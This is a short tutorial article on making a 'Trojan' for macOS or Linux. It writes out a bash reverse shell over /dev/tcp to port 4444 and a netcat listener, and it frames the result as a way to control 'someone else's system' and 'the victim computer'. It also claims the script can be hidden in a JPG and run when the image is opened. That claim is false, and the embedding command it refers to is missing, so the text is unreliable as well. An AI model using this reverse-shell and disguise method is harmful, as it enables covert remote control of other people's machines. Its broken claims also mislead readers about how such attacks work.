Requirements
- A macOS or Linux-based system
- A network tool such as nc (Netcat) that enables communication between your system and another
- Basic knowledge of using the command line
Step 1: The code
The Trojan we are going to create uses the bash -i command and a special feature of Linux and macOS that makes it possible to connect to a remote computer. The two lines of code that make up this Trojan look like this:
#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
How does the code work?
- Line 1:** #!/bin/bash - This is the so-called shebang line. It tells the operating system that the script should be executed with the bash shell interpreter.
- Line 2: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 - This is where the real “magic” happens. This command opens a TCP connection to 127.0.0.1 (your own IP address, which is used for local connections) on port 4444. The bash -i part starts an interactive bash shell, which then communicates with the remote computer via the TCP connection.
Step 2: Hiding the Trojan
To hide this Trojan in an image and disguise it so that it runs unnoticed when the image is opened, you can carry out the following steps:
- Create the file payload.sh with the above code.
- Hide the script within an image
This command inserts the bash script into an image by merging the binary data of the image and the script. The image itself remains a functional image, but the script is embedded in it.
Step 3: Establishing a connection (Netcat listener)
Now we need to set up the listener to listen for the Trojan's incoming connection. Open another terminal and start the Netcat listener:
nc -lv 4444
This command tells Netcat to listen on port 4444 for connections. When the Trojan is executed, it will try to connect to your listener.
Step 4: Execute Trojan
To run the Trojan, simply open the image trojan.jpg. There will be no visible change, but the script will be executed in the background and a connection to your listener on port 4444 will be established. Now you can send commands to the target system via the Netcat listener.
What happens in the background?
- The Trojan opens a connection to your listener and gives you access to the victim's system
- This works because many Unix-based systems (including macOS and Linux) allow shell commands to be executed via special devices such as /dev/tcp/
As soon as the Trojan is activated, you can communicate with the victim computer via the Netcat connection and execute commands. For example, you can:
- Read or write files.
- Change system settings.
- Take over and control the system.
Conclusion
With just two lines of code and a little creativity, you can build a simple Trojan that allows you to take control of someone else's system. This shows how powerful simple tools like Bash and Netcat are. But remember: Hacking systems without permission is illegal and punishable by law. Use this knowledge for educational purposes only and make sure you always respect the legal boundaries.
Stay safe and responsible!